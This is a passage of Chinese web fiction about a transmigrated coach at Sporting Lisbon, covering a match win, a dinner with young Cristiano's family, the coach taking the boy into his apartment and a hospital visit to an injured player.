“在赞美这些球员之余，我不得不提到另一个人，里竞的主教练安东尼.斯图亚特，这样精密的阵型和战术安排，绝对离不开他的身影，这个进球，给我们贡献了教科书式的进攻攻势。” “让我们期待中场休息后的下半场比赛，看看豪门和黑马互相碰撞，还会给我们带来什么精彩画面！” 16. 豪门vs黑马（下） 中场休息时间，里竞全员涌入客场更衣室。 安东尼等医疗团队所有人都进来后，关上门，环顾一周，询问道：“有没有人受伤？” “老大，”一个医生举起手，“克里斯蒂亚诺的小腿和脚踝都有肿胀。” “嗯，”安东尼顿了顿，问道：“下半场能打吗？” 克里斯蒂亚诺刚要张口，安东尼冷淡的目光立刻甩了过来，想起对方让自己必须好好听话，不然就不给出场的警告，嘟起嘴，不乐意的偏开头。 “只要不是高强度的身体对抗就不没事儿，休息几天就会好。” “那正好，”安东尼视线转向球员，“下半场我们的打法要变一些。” “不会要打防守战了吧。” 球员们顿时蔫了。 上半场，博阿维斯塔为了赢球，对他们狂轰乱炸的追堵拦截，所有人心里都憋着一股火气，要不是为了保持阵型，坚决执行教练的战术，早就进行肘击交流了，此刻让他们回防，无疑是雪上加霜。 “不。” 安东尼淡淡吐出一个字。 一双双骤然明亮的眼睛注视下，安东尼淡定道：“给我继续强攻，节奏要更快。” 上半场博阿维斯塔的疯狂进攻看起来触目惊心，可实际上效果并不好，混乱无序的冲动进攻，攻击力基本为零，安东尼一点没有被威胁到了的感觉，甚至寻找到了新的机会。 四十五分钟过后，博阿维斯塔的平均跑动距离比里竞球员多出了1公里，不要小瞧这一公里的体力消耗，在零几年的时候，顶级球队的中场球员的平均跑动距离在10公里左右，耐力极佳的球员如齐达内之流，跑动距离大概是12.5公里，半场多了1公里，就相当于博阿维斯塔球员燃烧小宇宙，换来了齐达内附体。 代价就是下半场他们的跑动速度会大大削弱，一个没有速度的球员，就像是没有牙的老虎，攻击力急速下滑。 “那博阿维斯塔一定会打防守战吧？” “或许吧。” 安东尼表情似笑非笑。 博阿维斯塔最值得骄傲的就是他们的进取精神，面对豪门也一往无前的勇气，安东尼并不认为他们会打防守战，毕竟不管是防守还是进攻，下半场他们都很难再赢球，要是让他做决定，他一定会进攻到底，小比分的输倒不如有尊严的输。 但这就不是他能决定的了。 安东尼没有反驳球员的猜测，继续道：“不管如何，我们就像之前训练的那样保持攻势就好，有两个进球作保障，下半场所有人都不许退，后卫尽量往前压，保持阵型随时后撤，不要太急躁，忘记控制周围的防守空间。” 说完战术，安东尼做最后安排，话语意简言赅。 “所有人现在放松肌肉，调整状态，准备出战。” “没问题，教练！” 大家异口同声喊道。 球员通道内，安东尼站在这里，目送着球员们入场，最前面的迭戈盯着他，迟迟不肯迈出脚步，他犹豫了一秒，上前抱住他的队长，短短一瞬，很快松开手。 迭戈心满意足的迈步离开，紧接着是下一个球员走来，罗德里戈的目光落在他身上，和之前那位一模一样。 安东尼叹了口气。 一连拥抱十个球员，他身上的高档西装明显变脏了，法兰西绒表面浮着一层泥土的灰，安东尼习惯性抱住最后一个，怀里的身形猛地僵住，他伸出手，安抚性的在对方后背上拍了拍。 安东尼思索了一秒，低下头，嘴唇凑到克里斯蒂亚诺耳边。 “阿尔贝托和罗伯特上半场体力消耗少，他们会负责吸引火力，不要把自己弄残。” 怀里的少年不言不语，安东尼偏头看了一眼，只能看见对方打着卷的黑色后脑勺，脊背绷直，莫名透着一股倔强劲儿。 教练这个工作果然不是人干的，居然连幼师的活也要做。 安东尼一边在心里想，一边放柔声音，手贴着后背一路上滑到后脑勺，轻轻揉了揉。 “isthatOK？” “.....K。” 克里斯蒂亚诺快步追上队友。 下半场一开球，解说还没来得及补充一些球员小知识，球场节奏骤然提起来了，两队的进攻如龙卷风般狂烈。 和安东尼预测的一样，博阿维斯塔的球员体力问题很严重，他们快攻快守的战术彻底失衡，后场开出的球方向、力度跑偏，中场拦截无力，前锋跑动极慢，球早早到达前场，后面几个球员在追，呈现出诡异的彗星拖尾场景。 后卫安德烈后转追求，迅速拿到球权，带球向前奔袭，对方前锋席尔瓦还在拼命拦截，一个没看住，安德烈脚下玩了个漂亮的花活，球从脚内侧飞出。 保罗接到斜传，没有丝毫停留，带球跑了十几米，传到中路迭戈脚下，迭戈观察了一下场内，直接一脚爆射长传，球飞跃到后半场，落在博阿维斯塔禁区内。 这是个机会球！ 现场的球迷顿时兴奋起来，尖叫声化成热浪，几乎将球场掀飞。 解说员：“博尔维斯塔的四个后卫都在回防，罗伯特拿到了球没有射门的路径，两个后卫冲向他了，三人对峙在一起，哎呀，球被捅飞了！” 还没等遗憾，“迭戈冲上来了，今天他真的太拼了，二十七岁的他今天跑出了自己的最佳移动速度，他抬腿打门了，门将里卡多又一次扑球，没抓住，球反弹到门框上了，我的天，球进了！” 解说员搓了搓眼睛，“让我们看一眼回放，突然冲上来的身影，那是前锋阿尔贝托，这个阿根廷人一向以猎豹一样的奔跑速度著称，刚刚我们也亲眼见证了他有多快，我感觉镜头有一瞬都模糊了，真是太精彩了。” “好的，现在下半场比赛的第七分钟，里斯本竞技再次进了一球，以3：0的成绩绝对领先，博尔维斯塔今天是危险了！” 论起绝望和愤恨，没有人比当事人博尔维斯塔更感同身受。 替补席旁，帕切科看见自家球门又飞进一个球，顿时抱头低吼，嘶哑的声音透着浓浓的不甘。 刚刚他一直在场边指挥球员回防，可现实就是如此残酷，体力耗尽的球员已经不能回应他的指挥了，帕切科的心中有多痛苦，一旁的安东尼看的一清二楚。 即使如此，安东尼也没有更改战术的意思，伸出的手掌向前推，示意球员继续前压。 刚刚的进球打碎了博尔维斯塔胜利的希望，他们的节 奏彻底崩溃了。 反倒是里竞这边越踢越勇，阵型灵活工整，配合一气呵成。 第五十二分钟，罗伯特大脚射门，门开二度。 第六十六分钟，迭戈在禁区拼抢，以刁钻角度，头球射门，拥有了本赛季第三个进球。 帕切科向第四官员申请换人，一口气用掉了三个名额，将已经小腿抽筋的球员换了下来。 安东尼也在这个阶段换人，把替补席上的迪马斯、萨.平托换上场替代过度消耗的克里斯蒂亚诺和安德烈，让他们练练脚感，为下一场球赛做准备。 第八十二分钟，罗德里戈接到保罗来自中场的传球，快速打门。 第八十八分钟，阿尔巴托跑得飞快，彻底放飞自我，一脚重炮射向球门，现场所有球迷都欢呼了起来。 谁知道这枚进球，竟被博阿维斯塔的后卫佩德罗踢掉了！ 这位并不年轻的后卫，身体早就到达极限跑不动了，可看到球飞向自家球门的那一刻，还是拼命奔跑起来，摔在地上的同时，努力伸出脚尖，打飞了这粒进球。 一时间，全场沉静了。 球场的角落传来掌声，淅淅沥沥，渐渐地越来越多，全场都在为这位后卫的执着精神献上最诚挚的敬意，包括安东尼。 博阿维斯塔的球员全都湿了眼眶。 第九十分钟，裁判吹哨，因为两队都没浪费时间，伤停补时一分钟，在这一分钟里，两队球员依旧在奔跑，没人提前泄气。 就连解说也不免动容，“这场比赛是我在这个赛季看到的最具竞技魅力的比赛，不管对手是强大还是弱小，每个球员都拿出了自己的所有，这样赤诚的激情，值得我们所有人都赞叹一声：你们做得好！” 赛后，球员们没有第一时间回更衣室，停在球场边，签名合照，感谢球迷支持。 球场边的几架摄像机没有关，摄像师正在拍赛后花絮，一个摄像头恰好转向替补席，安东尼越过白色虚线，向帕切科伸出手。 “您的队伍有一股精气神，我非常欣赏。” 高大帅气的青年率先给出一个台阶，帕切科也没有那么不识趣，输球是一时的，他不会自怨自艾，更不会迁怒旁人，爽快握住了安东尼的手。 “另外，我还得和您道歉，之前报纸上的文字并非出于真心，”安东尼面不改色道，“说您年纪大、是小丑的事情，希望您不要放在心上。” 帕切科嘴角一抽，用力捏了下握住的手，快速收了回来。 他深深看了眼安东尼，复杂的情绪在心头翻涌，半响，一言不发转身离开。 安东尼转回脸。 在沸腾的人声中，安东尼将目光投向看台，空气里浮着汗味、青草碾碎后的香气、以及某种近乎原始的血脉偾张的喧腾。 鲜活的、灼热的、毫无保留的生命力扑面而来，渐渐地，他的胸膛里也打起了节拍，一下又一下，震耳欲聋。 一片挥舞的手臂中，他像一尊被错置在狂欢节广场上的希腊石像——优雅、冷静、遥远，美得让人心颤，又冷得让人却步。 直到他忽然勾唇，轻笑。 一刹那，眼底的薄冰碎成波光粼粼的浪花。 电视前的观众迷了眼。 17. 周末快乐 如果不是这场比赛，安东尼或许还没发现他对当教练的心态发生了转变。 接收球队是个意外，但学习葡语报纸、下班钻研战术体系、留心球员生活，这些事情已经超出了一份工作内容。 必须承认，足球让他感受到了青春年少时，那股意气风发的滋味，让他心潮澎湃。 一场大获全胜的比赛，俱乐部球迷对安东尼的态度友善了不少，甚至有球迷主动和他打招呼，但奇怪的是比起签名，大家更爱和他合照，男女球迷都一样。 安东尼不理解，但作为一个“绅士”他没有多问，有人靠近就微笑配合，胳膊虚虚搭在球迷的肩膀，温和守礼。 照例和门卫打了个招呼，安东尼走进食堂，让新来的营养师拿出饮食方案，他要从源头开始重塑这些球员。 纵观世界上所有顶级运动员，团队里都会有一个营养师，对他们而言，摄取食物不是为了饱腹，是为了给身体提供燃料，帮助他们在赛场上拥有更好的身体状态。 碳水、蛋白质和营养元素，看似不起眼的食物结构配比，对运动员的竞技状态却又极大影响。 但在21世纪初的现在，营养学才刚刚起步，里竞俱乐部的思想跟不上，给球员准备的都是大锅饭，根本没有针对个体调整。 安东尼发现这个问题后，立刻要求找一个营养师，根据球员情况提供餐食，确保每个人都能摄入所需。 担任主教练以来，安东尼在里斯本竞技的权威大幅上升，劳尔直接发布应聘广告，三天就找到了合适人选来俱乐部报道，效率极高。 但安东尼不满足于此，随着杯赛第三轮开始，里斯本竞技也迎来了比赛，他的战术体系，终于有机会露面了。 前几场场对战的都是小球队，安东尼不断变化阵型和球员排布，从铁桶防守一直到强攻压迫，将所有战术都试了一遍，但懂足球的人能看出来，有一个核心原则是始终不变的——区域防守。 这个原则源于萨基的空间理念，安东尼始终认为，人盯球和人防人的时代已经过去了，未来顶级球队一定会以空间理念作为防守进攻的基石。 原因非常简单，区域防守会形成人数优势。 根据国际足联规定，球场标准尺寸为长105米、宽68米，以球员为原点，造出一个半径十米的圆，一般情况下，圆里会存在两个队友，和若干对手。 区域防守就是通过跑动、传球，让持球人的圆内对手数量少于或等于队友数量。 说白了，就是要以多打少。 这个理念听起来很好，但也对球员素质、配合度要求很高，如果是全能型球员，自然可以适应所有战术阵型。但安东尼手下没有全能型球员，他只能通过调整阵型，来适配球员特长。 比如经常喜欢前插的攻击型后卫，就必须有个跑动能力强的后腰，配合他的移动构成圆形防守区域。 但光是靠人员调配、取长补短不是长久之计，安东尼开始了漫长且艰难的操练之路，各种拓展极限的训练，逼得里斯本竞技球员叫苦不迭。 背地里蛐蛐“榨汁机”的人逐渐增加。 联赛和杯赛一路五连胜，安东尼每天钻研球员、战术，就连周末也在思考球队建设，过得不亦乐乎。 安东尼吃过早饭，照例打拳一个小时，刚洗完澡，茶几上的手机不停震动。 他拿起手机，亮起的屏幕上显示出一个熟悉的名字。安东尼动作一顿，接通电话，贴在耳边。 “早上好，亲爱的宝贝~” 意大利式黏腻缠绵的招呼，独属于这具身体的母亲——伟大的安妮女士。 安东尼在心里叹了口气，搓了搓眉心，“早安，安妮。” “你有事吗？”他问。 “嘿，注意你的语气，”安妮抱怨了一句，继续道，“昨天我的助理在报纸上看到了你，似乎是体育报之类的，祝贺你终于实现心愿。” “谢谢。” 安东尼真心实意的道谢。 哪怕不是原主本人，他也能感觉到父母双方对孩子的爱意，距离遥远，彼此牵挂的心却不少，正是这份纯粹的感情，让安东尼在短短几个月，接纳了两人作为自己的父母。 “哦，不用谢，”安妮轻描淡写道，“我看了报纸，你的衣品实在是太糟糕了，和那个英国老男人一样，穿着死板乏味的西装，毫无时尚可言，所以我给你寄了新的，已经到了里斯本邮局，你记得取来穿。” 安东尼额头顿时冒起青筋。 果然，这位设计师兼商人的母亲无事不登三宝殿。 “我不会给你当模特的。” 他当机立断拒绝对方的小心思。 电话对面，女人像是没听见一样，迅速转变话题：“你在里斯本过得怎么样？有没有去罗卡角的山顶看海，还有特茹河上的日落帆船之旅.....” 安东尼沉默了。 沉默传递出某种讯息，安妮顿了顿，语气变得严肃，“安东尼，你得学着享受生活。” “我不知道你身上发生了什么，是当主教练的压力太大了还是什么，你以前和我一样喜欢旅游、美酒、新的体验，现在却只顾着埋头于事业。” “抬起头吧，看看周围的世界，去肆无忌惮的玩耍，你不会比今天的自己更年轻了。” 安东尼应了一声，两人又闲聊了几句日常，挂断电话后，他坐进沙发，在空旷的公寓里发了一会儿呆，起身换衣服出门。 至少有一点安妮说的对，他得学会享受生活。 自从送克里斯蒂亚诺回酒店，安东尼就没开过车，那辆阿斯顿.马丁一直停在附近的商场停车场里，料想到安妮给自己邮寄的衣服不会少，他决定开车出门。 如他所料，他在邮局收获了两个大箱子，好在这辆轿跑是有后备箱的，勉强塞得下。 安东尼直起身，视线看向邮局对面的小酒馆。 秋天的里斯本很美，阳光斜斜的打在对面白墙上，蓝白相间的彩绘瓷砖被点亮了一样，温温地泛着光，像是童话世界照进了现实。 欧洲的建筑形状各异、颜色艳丽，看起来并不庄严。可仔细观察就会发现，从屋顶瓦砾到地面砖石，到处都有斑驳的痕迹，充满历史的厚重气息。 既然出门了，安东尼决定好好看一看这座城市。 他开着车，车子沿着阿尔法玛区窄得容不下两辆车并行的坡道慢慢爬，碎石路磨得发亮，车子驶过，带来轻微的颠簸感。 驶出狭窄的街区，安东尼用力踩下油门，引擎声爆发出巨大声浪，随着车窗摇下，风灌进来，有大西洋的气息，咸咸的、凉凉的。 在海边绕了一圈，安东尼紧绷的心情放松了许多，驱车重新回到市区。 烤栗子的香气从车窗外飘来，瞬间饿了。 说来也巧，安东尼看见了一个熟悉的老石头楼，门楣上挂着一块不大的木牌——“ClubedeFado”，是他送克里斯蒂亚诺后回家路上遇到的餐厅，当时夜色已深，餐厅外亮着一串彩灯，人流络绎不绝，一下子引起他的注意。 不做思考，安东尼走进店里，点了传统的葡萄牙菜。 很快，一股橄榄油、蒜香和炖煮海鲜的浓郁味道传来，盘子落在他面前，目测有七八个人的食量。 安东抿了抿唇，第一次感受到什么是窘迫。 就在他举着刀叉，不知道从何下手时，一道熟悉的声音传入耳边。 干净磁性的声线配合着高亢的语调，听起来像是一首赋有韵律的小诗，充满青春的朝气和活力。 安东尼下意识抬起头。 木门上悬挂的风铃还在摇曳，一头黑色卷毛的少年偏着头，兴致勃勃的说着什么，蜜棕色的眼眸亮亮的，喜悦毫无掩饰。 他身旁的一男一女，都是四十岁左右的年纪，身后的一男两女倒是年轻一些，长相相似，交流亲密。 看来克里斯蒂亚 诺周末过得不错，家人都从马德拉小岛来看他了。 安东尼无意打扰他们一家的欢乐时光，但餐厅就这么大，克里斯蒂亚诺很快就看见他了，先是一愣，表情有些纠结 见到这一幕，安东尼知道自己该做出反应了。 他招了招手，见状，克里斯蒂亚诺顿时松了口气，偏头和父母说了两句话，朝他跑来。 “周末快乐，教练。” 少年露出灿烂的笑容。 “周末快乐。” 安东尼凝视着他的脸，漂亮的眉眼弯成一条弧线，亮晶晶的瞳孔，透着幸福喜悦。 任谁看都知道，这是个被家人宠爱长大的少年，身上有一股至纯的孩子气。 安东尼低头看了眼桌子上的大山，心念一动，发出邀请。 “要不要一起吃饭，我点的菜很多，吃不完。” 克里斯蒂亚诺下意识低头看了眼桌子，葡萄牙最经典的几道菜都汇聚在这张桌子上，比一般家庭宴请宾客还要丰富。 分量确实不是一个人吃的完的。 克里斯蒂亚诺点点头，但想到身后还有家人，动作停滞了。 “我可以问问他们的想法吗？”他说。 “当然，”安东尼善解人意道，“如果觉得坐一张桌子不方便也没关系，直接从我这里拿几道菜过去吃吧，我不想浪费。” 克里斯蒂亚诺的思维很单纯，脑子里没有客套的概念，认认真真和父母商量，几个人站在那交流了一会儿，一起走了过来。 “我们得换个桌子，”少年环顾一圈，指了指旁边，“这边可以一起坐。” “当然。” 安东尼点点头，站起身，伸手刚要去端盘子，就被制止了。 “让他们来做。” 克里斯蒂亚诺的母亲指了指另外三个孩子，三人立刻上前，端盘子、换桌、拿餐具，一套动作行云流水。 安东尼怔愣了一下，很快接受了这家人直来直去的做事风格，他也没有扭捏，拉开凳子，坐在克里斯蒂亚诺身旁，开始吃饭。 阿维罗家的人很有意思，他们吃饭时喜欢说话，兴致上头甚至会手舞足蹈，然后一起哈哈大笑。 安东尼吃饭则正相反，他坐姿端正，刀叉碰到盘子几乎不会发出声音，咀嚼食物时不说话，坐在他们中间就像是一个异类。 一开始，克里斯蒂亚诺还在不停说话，到后来，余光时不时扫到端庄的教练，心情有了微妙的变化，整个人瞬间蔫了下来。 安东尼立刻注意到了少年的变化。 他心里有些好笑，俯身凑过去，问道：“你的哥哥是演说家吗？” “当然不是！” 克里斯蒂亚诺很不高兴，大声反驳道。 安东尼点点头，“是我想错了，他身上有种气质很吸引人注意，才误会他是个演说家。” 克里斯蒂亚诺本以为安东尼是在嘲笑自己的家人，就像几年前他刚从马德拉来到里斯本，那些孩子嘲笑他的口音一样，都是在瞧不起他的出身，谁知事实正相反，安东尼是在夸奖他的家人。 少年的眼睛一下子就亮了起来，像是看见了肉骨头的小狗，身后好像有尾巴在摇。 “我们家的人都差不多，我也很能说话，”克里斯蒂亚诺极力压制上扬的嘴角，“并不算特别。” “你不用谦虚，这就是天赋，”安东尼笃定道，“不能因为你习以为常，就以为这很普通，就像我的家人，他们就没有。” “哦好吧。” 克里斯蒂亚诺一副被他说服了的表情，点点头，想到什么，又快速补充道：“别担心，你的家人一定有别的天赋。” 安东尼脑中浮现出了他父母的现状，一个在顶奢品牌做服装设计师，另一位以皇家贵族身份在英足协任职。 回过神，对上少年安慰的目光，点点头。 “是的，我想他们有。” 安东尼一本正经道。 18. 危机来袭 吃过饭后，多洛雷斯女士发挥了热情的天性，邀请安东尼有时间来马德拉玩，再三保证自己去一定会去后，安东尼和这家人分开了。 但事情就是这么巧，回家放好衣服，安东尼再次出门，想找一个小酒馆，过一过许久没有的夜生活，在寻找的路上又碰见了克里斯蒂亚诺。 这一次少年身旁没有别人，独自走在街头。 夜幕笼罩下，身材消瘦的少年提着两个大皮袋，低着头，神色落寂，和白天的快乐小王子判若两人。 安东尼下意识踩了刹车。 轰鸣的引擎声在身侧响起，克里斯蒂亚诺被吓了一跳，偏过头，一辆黑色轿跑映入眼帘，他盯着这辆车，越看越觉得熟悉。 就在这时，靠近他的车门缓缓抬升，露出驾驶座上的男人。 “上车？” 安东尼笑着问道。 似乎是愣住了，少年下意识舔了下嘴唇，眼睛直勾勾的看着他，没有任何反应。 “快来，”安东尼朝他招招手，心情很好的开了个玩笑，“放心，不会卖了你。” 克里斯蒂亚诺坐进车里。 简短的交流后，安东尼知道了少年心情不好的原因，其实很简单，小孩不舍和家人分离，放在大人身上或许不算什么，可对于许久没见到家人的克里斯蒂亚诺来说，就是天大的事情。 安东尼没有说些冠冕堂皇的话安慰少年，有些感受只有亲自经历的人才能知道，外人别无办法，但看着少年泛红的眼圈，心里仍有些不舒服。 “这是什么？” 他扫了一眼对方怀里的两个大袋子，随口问道。 父母带来的东西，应该是给少年的礼物吧，安东尼心想。 “是我买给他们的生活用品还有衣服，”克里斯蒂亚诺不好意思的说道：“我忘了飞机行李限重，所以又拎回来了，等明天给他们邮寄。” 安东尼一时沉默了。 上辈子，他虽然看球，但不会特意关注球星的生活，对克里斯蒂亚诺家庭的了解就是生活在小岛上，过得不富裕，现在看来这句话太轻飘飘了，听在耳朵里是一句话，落在一个人身上却是十几年的时光。 安东尼握紧方向盘，很快又松开，好像无事发生一般。 “教练，谢谢你今天请客。” 昏暗的车内，一道声音幽幽响起。 “突然这么客气？” 安东尼挑眉。 “是妈妈说的，让我必须要感谢你，”克里斯蒂亚诺认真道，“多亏你，我们今天吃的很丰盛。” 安东尼的心又开始隐隐作痛了。 这感觉很微妙，不是可怜，他知道少年会靠着自己一点点获得名誉、金钱，给阿维罗家带来几辈子都花不完的财富，但仍然会有些心疼。 比起可怜更像是.......怜惜？ 安东尼在心里轻笑了一声，太久没说中文，脑子都错乱了，竟然会乱用词语。 车子拐了个弯，停在酒店门外，熟练地像是来过几十次一样，安东尼跟着克里斯蒂亚诺一起下车，不由分说拿起他的皮袋子，自然道：“你来带路。” 少年一愣，点点头。 酒店内的环境不算好，安东尼甚至都觉得这是一场诈骗，外面是光鲜亮丽的罗马大理石雕塑，屋内却像廉价酒店，一间十几平的房间，放了两张一米二的单人床，还有一张小沙发，除此以外空无一物。 安东尼很想问少年，屋里没有桌子平时在哪学习，但一想到足球运动员的特性，立刻噤了声。 “谢谢你教练，”克里斯蒂亚诺很有礼貌，接过两个皮袋子，问道：“你要再坐会儿吗？我这里有可乐。” 安东尼：“....你还喝可乐？” “不是我喝，”克里斯蒂亚诺解释道，“就是买了而已。” 显然，这话连他自己都不信，少年抓了抓头发，对着安东尼无辜的笑了一下。 “其实我喝的比较少，主要是里奇，他喜欢喝。” “哦，你隔壁的室友，”安东尼扫了一眼靠墙的床，问：“他要很晚才回来吗？” “桑德兰吗？”少年眨了眨眼，“他家在里斯本郊区，周末都会回家。” 安东尼有些听不明白，桑德兰、里奇，应该是两个人吧。 他问：“桑德兰是你的室友，那里奇是谁？” “里奇也是我的室友，”克里斯蒂亚诺笑了一下，自然道：“他和我睡一张床。” 安东尼一时愣住了。 回过神后，看向克里斯蒂亚诺，对方甚至又笑了笑，一副不以为意的模样，心情顿时复杂起来。 “你们俩都是运动员吧，这张床这么小，怎么睡的下？” “睡的下的，”克里斯蒂亚诺说，“如果不睡在这儿，俱乐部就会和里奇解约，他就没有地方去了。” 安东尼这才了解前因后果，里斯本竞技为提升青训学员的学习和生活水平，重新修造了阿尔科谢蒂学院，但学院没完工，球员的住所要由俱乐部掏钱，为了减少开支，俱乐部打算和没什么天赋的里奇解约，是克里斯蒂亚诺强烈请求把他留下来，哪怕是和自己睡一张床。 可这样一来，克里斯蒂亚诺的休息就得不到保障，尤其是最近，在营养师的努力下，少年的身高和体重都在增长，体型已经趋于成年人，怎么能和另一个成年人挤在一张一米二的小床上？ 安东尼思索了一会儿，抬起头，一字一句道：“你想自己睡一张床吗？” 有机会睡一张床谁会不愿意呢，但克里斯蒂亚诺没有急着点头，试探性的问：“里奇会被赶走吗？” “不会。” 安东尼肯定道。 “那我想有自己的床。” 克里斯蒂亚诺回答。 “嗯，我知道了，”安东尼云淡风轻道，“给你三十分钟收拾你的东西，去我的公寓。” 克里斯蒂亚诺：“嗯.......嗯？” 他的眼睛顿时瞪得溜圆。 确定安东尼没有说笑后，克里斯蒂亚诺打包好自己和行李，过上了投奔教练的生活。 阿斯顿.马丁的后备箱再一次被填的满满当当，箱盖关上的瞬间，车子发出痛苦呻、吟，安东尼对此毫不在意，又狠狠压了压盖子，确保万无一失。 穿过几个街区，车子驶入阿尔瓦拉德街，停在一栋小白楼前，安东尼示意少年先下车，他去找停车位，五分钟后，他步行到楼下，一人提着两个皮袋子上楼。 推开门，一个干净整洁的公寓映入眼帘。 克里斯蒂亚诺看着男人脱下皮鞋，换上了另一双露脚趾的东西，不知道自己该不该直接迈进去。 毕竟是教练的家，还是不要太随便了。 克里斯蒂亚诺站在地毯上，踌躇不前。 安东尼放下行李 ，直起身，目光恰好掠过少年赤、裸的脚，脚趾不安的抽动了两下，心中了然。 他说：“直接进来就行，我平时也不穿拖鞋的。” 闻言，克里斯蒂亚诺松了口气。 走进客厅，他抬起头，打量了一圈教练的公寓，白色墙面、米色的木地板，所有家具都是纯色，简简单单，看不出风格。 安东尼带着克里斯走向屋内，这个公寓总共有两间屋子，一间是他睡觉的屋子，一间则被他改成了拳击室兼书房，好在房东留下了一张折叠床，能让他度过今晚。 抢占了对方的房间，克里斯蒂亚诺有些不好意思，想说些什么，被安东尼直接打断了。 “我让你睡这儿，只能说明我愿意这么做，不需要你多想。” 安东尼语气淡淡，“除了隔壁书房的抽屉，任何东西你都可以使用，不会就问我。” 说完，男人轻轻眨了眨眼，低沉磁性的声音里多了丝笑意。 “别担心，我会做个好室友。” 很奇怪，听完他的话，克里斯蒂亚诺的心跳减速，忐忑的心瞬间平静下来，抱紧自己怀里的皮袋子，少年点了点头。 “我相信你。” 他说。 和别人同居，对安东尼来说是十多年没有过的经历了，周天，他带着少年买了些必需用品和一张床，一起去了趟邮局，在屋子里填上对方的东西，同居生活就正式开始了。 但对两人来说，生活没有发生什么影响。 安东尼早上照例走路去俱乐部，克里斯蒂亚诺比他出门时间晚一些，比起走路，少年更爱跑步，两人会在路上相遇，彼此点头道一声早安，然后分开，就像是正常偶遇一样。 谁也想不到，十分钟前，他们还处在同一间屋子里。 这样的规律且可控的生活，无疑是安东尼最想要的，但上帝显然不会让一个人顺风顺水过得太久。 杯赛第五轮，里斯本竞技对阵圣克拉拉，本来是轻松能赢的一局，意外却发生了：佩德罗被恶意铲倒，小腿严重骨裂，队医预计要休息至少3个月，这个赛季肯定是报废了。 佩德罗作为里斯本竞技中场的中流砥柱，地位和队长迭戈差不多，能力也非常突出，是安东尼实施四二三一阵型的重要后腰之一。 练了这么久的四二三一，好不容易要在下一场联赛亮相，现在又要停滞不前，安东尼对此非常遗憾，但除此之外，还有个更大的危机等待他解决。 联赛积分第一的波尔图，战术风格发生了变化，由原来的全场快攻快守，变成了前半场快攻快守，后半场摆大巴，能1：0绝不2：0对手，这种恶心的打法是最让安东尼头疼的，里竞的后防本就薄弱，只要给他们一点机会进了一球，对方很可能之后就窝在半场里死守不出。 也正是因为这个恶心的战术，波尔图连胜四轮联赛，收获十二分，两队的积分差距维持在三分，要是继续这样下去，里竞想要获胜，只有在主客场全都打败波尔图这一种选择。 多亏之前的交情，安东尼从记者那里得到小道消息，波尔图突然地变化，源于他们主教练的人事变动，预计过一阵波尔图才会正式公布新主帅，还没正式上位，就大刀阔斧的改制球队，似乎来者不善。 这个坚守1：0主义的家伙，到底是何方神圣？ 教练办公室里，安东尼静静站在窗边，手指摩挲着下巴，陷入沉思。 19. 同居女友？ 佩德罗骨折后，俱乐部为他安排了手术治疗，第二天安东尼来探望时，这个年轻的小伙子已经能从床上坐起来，朝他露出笑容。 安东尼垂下眼，视线扫过对方的小腿，石膏上缠着厚厚的纱布，布满了歪歪扭扭的黑色签名。 佩德罗低头看了眼自己小腿上的艺术石膏，笑的温柔，“他们很热心。” 安东尼挑眉，“除了字迹丑的吓人。” 两人相视一笑。 安东尼和佩德罗聊了一会儿今天的训练，讲述重整阵型的计划，他会加大对乔安的训练，填补对方在球队中的位置，佩德罗心知自己这个赛季商场无望，可听见自己被人替代的消息，还是会有一丝难过。 青年微笑着，眼底却闪过一丝落寞的光，浅淡的根本看不出来。 安东尼没有错过他的情绪变化，沉默了一会儿，缓缓开口。 “我和你的主治医师聊过了，佩德罗。” 高大的青年脸上浮现出一丝恐慌，即使很快重新露出笑容，也难逃安东尼敏锐的双眼。 他继续道：“你的伤势不轻，我说你肯定能恢复的和受伤前一样，这是假话，但骨折总比肌腱、肌肉和韧带损坏好一些，依照目前的形势看，你的手术很成功，这就代表完全恢复的可能性提高了，接下来，我要你挺住，无论如何都要调整心态、配合治疗，争取早日回来。” 安东尼的语调不急不缓，话语里没有任何安慰，比起家人温柔安抚的话语听上去残酷很多，但正是这份强势命令的口吻，让佩德罗强撑的情绪瞬间绷不住了。 泪水唰一下逸出他的眼眶，豆大的泪珠连成串，啪嗒啪嗒落了下来，很快打湿纯白的被单，聚成一团水迹。 “教练，”佩德罗抽噎着说，“我怕我回不去了。” 他的泪水里包含无助害怕，甚至还有绝望。 职业足球就是非常残酷，一次受伤，半年离场，可能就会断送他一辈子的踢球的希望。 “你必须回去。” 安东尼走上前，大掌托住青年的脸，迫使他仰头，凝视着他充盈着水光的眼睛。 “听着佩德罗，伤痛是大部分运动员的必经之路，懦弱的人会在绝望中放弃，走向远离职业球赛的不归路；勇敢的人会直面困难，哪怕前路渺茫。” “你得先咬牙闯过去，才能知道之后会迎来什么。” 佩德罗没有说话，牙齿紧紧咬着，脸颊的肌肉因用力而抽搐，浑身散发着痛苦的气息。 “你是个勇敢的孩子，”安东尼放柔语气，抬手在他的脑袋上轻轻揉了揉，轻声道：“我会让营养师每天给你准备食谱，你要维持体重，还要做一些日常训练，我不希望你的竞技状态因为受伤而下滑，这支球队还需要你继续效力。” “球队还需要我.....” 佩德罗喃喃道，无神的眼睛再次聚焦，透出点点希望的光，抬头看向他的教练。 男人站在那，一米九的身量，双肩宽平，西装肩线绷出坚韧的肌肉线条，整个人宛如一座小山，沉稳有力。 饱满的额面，凌厉的眉骨如刀削斧凿，深邃眼窝里，那双冰蓝色眼眸直直的看向他，眼睛里没有闪烁，没有犹疑，只有沉甸甸的笃定。 像是被卷走的风筝，在狂风中无望飘荡，猛地被人抓住了连接的线。 佩德罗摇摆的心忽然定了下来。 “我会的教练，”佩德罗承诺道，“哪怕咬着牙，也闯下去。” 为了教练、为了球队、也为了自己。 * 去医院探望过佩德罗后已经是中午了，安东尼驱车回到俱乐部，就像是和佩德罗说的，他准备让乔安替代对方的位置，这是个非常大的工程，需要倾注他很多的精力。 乔安，二十岁，是防守型中场代表，他奔跑速度很快，身体强壮，比起后卫又多了几分灵活性，身体素质上几乎没有短板，这样的球员很适合四二三一阵型的后腰位置，但安东尼迟迟没有选择他，原因也有很多。 首先，乔安经验不足。 谁都知道中场是一个球队的“大脑”，需要对场上情况做出精准的判断和分析，什么时候传球、谁最适合接球、丢球后要不要快速抢断.....而思量这些事，就需要足够的比赛经验。 其次，乔安耐性不佳。 根据卡希尔整理的数据，乔安的场上传球率处于球队中下游，持球跑动距离和射门次数则是在球队中上游，这说明比起战略性传球，给队友做绿叶，乔安更喜欢自己直接打门，简单粗暴。 放在以前，安东尼都是把人扔到前锋位置，眼不见心不烦，但现在不比之前，他手里无中场可用！ 